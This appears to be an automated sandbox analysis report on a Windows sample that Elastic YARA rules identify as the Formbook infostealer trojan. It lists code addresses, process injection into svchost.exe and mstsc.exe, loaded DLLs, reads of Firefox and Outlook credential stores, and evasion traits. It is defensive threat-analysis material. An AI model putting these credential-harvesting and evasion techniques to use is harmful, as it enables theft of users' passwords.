Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04513FD5	3_2_04513FD5
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04551F92	3_2_04551F92
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0460FFB1	3_2_0460FFB1
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045BD800	3_2_045BD800
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045538E0	3_2_045538E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04559950	3_2_04559950
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0456B950	3_2_0456B950
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045E5910	3_2_045E5910
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04607A46	3_2_04607A46
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0460FA49	3_2_0460FA49
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045C3A6C	3_2_045C3A6C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045FDAC6	3_2_045FDAC6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045EDAAC	3_2_045EDAAC
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04595AA0	3_2_04595AA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045F1AA3	3_2_045F1AA3
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0460FB76	3_2_0460FB76
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0458DBF9	3_2_0458DBF9
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045C5BF0	3_2_045C5BF0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0456FB80	3_2_0456FB80
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_00171B50	3_2_00171B50
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0016CA79	3_2_0016CA79
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0016CA80	3_2_0016CA80
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0016CCA0	3_2_0016CCA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0016AD20	3_2_0016AD20
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_001751E0	3_2_001751E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_001733C0	3_2_001733C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0018B7B0	3_2_0018B7B0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_042B540C	3_2_042B540C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_042AE495	3_2_042AE495
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_042AE378	3_2_042AE378
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_042B3F69	3_2_042B3F69
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_042AE833	3_2_042AE833
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_042AD898	3_2_042AD898
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_042ACA83	3_2_042ACA83
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_042ACB58	3_2_042ACB58

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02F87E54 appears 107 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02FAEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02FBF290 appears 103 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02F75130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02F2B970 appears 262 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 04597E54 appears 107 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 045CF290 appears 103 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 0453B970 appears 262 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 04585130 appears 58 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 045BEA12 appears 86 times
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: String function: 00790C63 appears 70 times
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: String function: 00777F41 appears 35 times
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: String function: 00798A80 appears 42 times

Source: rP0n___87004354.exe, 00000000.00000003.1699565720.000000000432D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs rP0n___87004354.exe
Source: rP0n___87004354.exe, 00000000.00000003.1700289327.00000000039C3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs rP0n___87004354.exe
Source: rP0n___87004354.exe, 00000000.00000003.1700702089.00000000039C3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs rP0n___87004354.exe

Source: rP0n___87004354.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 1.2.svchost.exe.2490000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 1.2.svchost.exe.2490000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.1812489277.0000000002490000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.3548998319.0000000005260000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.1817351860.0000000003250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.3547541019.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.1817399152.0000000005E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.3546547268.0000000000160000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.3547479377.00000000029B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.3547465093.00000000055B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/4@11/8

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_007DA0F4 GetLastError,FormatMessageW,

0_2_007DA0F4

Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007C84F3 AdjustTokenPrivileges,CloseHandle,		0_2_007C84F3
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007C8AA3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_007C8AA3

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_007DB3BF SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_007DB3BF

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_007EEF21 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_007EEF21

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_007DC423 CoInitialize,CoCreateInstance,CoUninitialize,

0_2_007DC423

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_00774FE9 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00774FE9

Source: C:\Users\user\Desktop\rP0n___87004354.exe

File created: C:\Users\user\AppData\Local\Temp\retrofits

Source: rP0n___87004354.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: mstsc.exe, 00000003.00000002.3546768186.00000000005F4000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000003.00000003.1993003814.00000000005F4000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: rP0n___87004354.exe

ReversingLabs: Detection: 73%

Source: unknown	Process created: C:\Users\user\Desktop\rP0n___87004354.exe "C:\Users\user\Desktop\rP0n___87004354.exe"
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\rP0n___87004354.exe"
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	Process created: C:\Windows\SysWOW64\mstsc.exe "C:\Windows\SysWOW64\mstsc.exe"
Source: C:\Windows\SysWOW64\mstsc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\rP0n___87004354.exe"	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	Process created: C:\Windows\SysWOW64\mstsc.exe "C:\Windows\SysWOW64\mstsc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\rP0n___87004354.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: credui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\mstsc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Source: C:\Windows\SysWOW64\mstsc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Switches to a custom stack to bypass stack traces

Source: rP0n___87004354.exe

Static file information: File size 1638912 > 1048576

Source: rP0n___87004354.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: rP0n___87004354.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: rP0n___87004354.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: rP0n___87004354.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: rP0n___87004354.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: rP0n___87004354.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: rP0n___87004354.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: FrywuFHvnDbLo.exe, 00000002.00000000.1729011183.0000000000DBE000.00000002.00000001.01000000.00000004.sdmp, FrywuFHvnDbLo.exe, 00000005.00000000.1882941520.0000000000DBE000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: rP0n___87004354.exe, 00000000.00000003.1700289327.00000000038A0000.00000004.00001000.00020000.00000000.sdmp, rP0n___87004354.exe, 00000000.00000003.1699565720.0000000004200000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1713196768.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1816942530.000000000309E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1710437251.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1816942530.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000003.00000003.1819913903.000000000436A000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000003.00000002.3547780218.0000000004510000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000003.00000002.3547780218.00000000046AE000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000003.00000003.1818285042.00000000041B2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: rP0n___87004354.exe, 00000000.00000003.1700289327.00000000038A0000.00000004.00001000.00020000.00000000.sdmp, rP0n___87004354.exe, 00000000.00000003.1699565720.0000000004200000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.1713196768.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1816942530.000000000309E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1710437251.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1816942530.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, mstsc.exe, 00000003.00000003.1819913903.000000000436A000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000003.00000002.3547780218.0000000004510000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000003.00000002.3547780218.00000000046AE000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000003.00000003.1818285042.00000000041B2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mstsc.pdbGCTL source: svchost.exe, 00000001.00000003.1781073080.0000000008C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1781207304.0000000008E00000.00000004.00000020.00020000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000002.00000003.1763185053.0000000006CD0000.00000004.00000001.00020000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000002.00000003.1764554247.0000000006E10000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: mstsc.exe, 00000003.00000002.3548096253.0000000004B3C000.00000004.10000000.00040000.00000000.sdmp, mstsc.exe, 00000003.00000002.3546768186.0000000000582000.00000004.00000020.00020000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000005.00000000.1883295228.0000000002E2C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2104098329.000000002E32C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: mstsc.pdb source: svchost.exe, 00000001.00000003.1781073080.0000000008C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1781207304.0000000008E00000.00000004.00000020.00020000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000002.00000003.1763185053.0000000006CD0000.00000004.00000001.00020000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000002.00000003.1764554247.0000000006E10000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: mstsc.exe, 00000003.00000002.3548096253.0000000004B3C000.00000004.10000000.00040000.00000000.sdmp, mstsc.exe, 00000003.00000002.3546768186.0000000000582000.00000004.00000020.00020000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000005.00000000.1883295228.0000000002E2C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2104098329.000000002E32C000.00000004.80000000.00040000.00000000.sdmp

Source: rP0n___87004354.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: rP0n___87004354.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: rP0n___87004354.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: rP0n___87004354.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: rP0n___87004354.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_007EC104 LoadLibraryA,GetProcAddress,

0_2_007EC104

Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007D8538 push FFFFFF8Bh; iretd	0_2_007D853A
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_0077C590 push eax; retn 0077h	0_2_0077C599
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_0079E88F push edi; ret	0_2_0079E891
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_0079E9A8 push esi; ret	0_2_0079E9AA
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_00798AC5 push ecx; ret	0_2_00798AD8
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_0079EB83 push esi; ret	0_2_0079EB85
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_0079EC6C push edi; ret	0_2_0079EC6E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_024A3A18 push ebx; retf	1_2_024A3A2D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_024A221F push ss; ret	1_2_024A2220
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_024A3A2E push ebx; retf	1_2_024A3A2D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_024A3A23 push ebx; retf	1_2_024A3A2D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_024973CB push esi; ret	1_2_024973CE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02493380 push eax; ret	1_2_02493382
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02494878 push edx; iretd	1_2_02494879
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_024A80CC push ss; iretd	1_2_024A80D7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_024921FE push ecx; ret	1_2_024921FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_024A8E2B push esi; ret	1_2_024A8E2C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0249A623 push edi; retf	1_2_0249A62D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_024AE76A push ebp; retf	1_2_024AE858
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_024AE71E push edx; iretd	1_2_024AE71F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F0225F pushad ; ret	1_2_02F027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F027FA pushad ; ret	1_2_02F027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F0283D push eax; iretd	1_2_02F02858
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F309AD push ecx; mov dword ptr [esp], ecx	1_2_02F309B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F01368 push eax; iretd	1_2_02F01369
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045127FA pushad ; ret	3_2_045127F9
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0451225F pushad ; ret	3_2_045127F9
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0451283D push eax; iretd	3_2_04512858
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045409AD push ecx; mov dword ptr [esp], ecx	3_2_045409B6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_001818CC push es; iretd	3_2_001818C5
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_00164048 push esi; ret	3_2_0016404B

Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_00774A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_00774A35
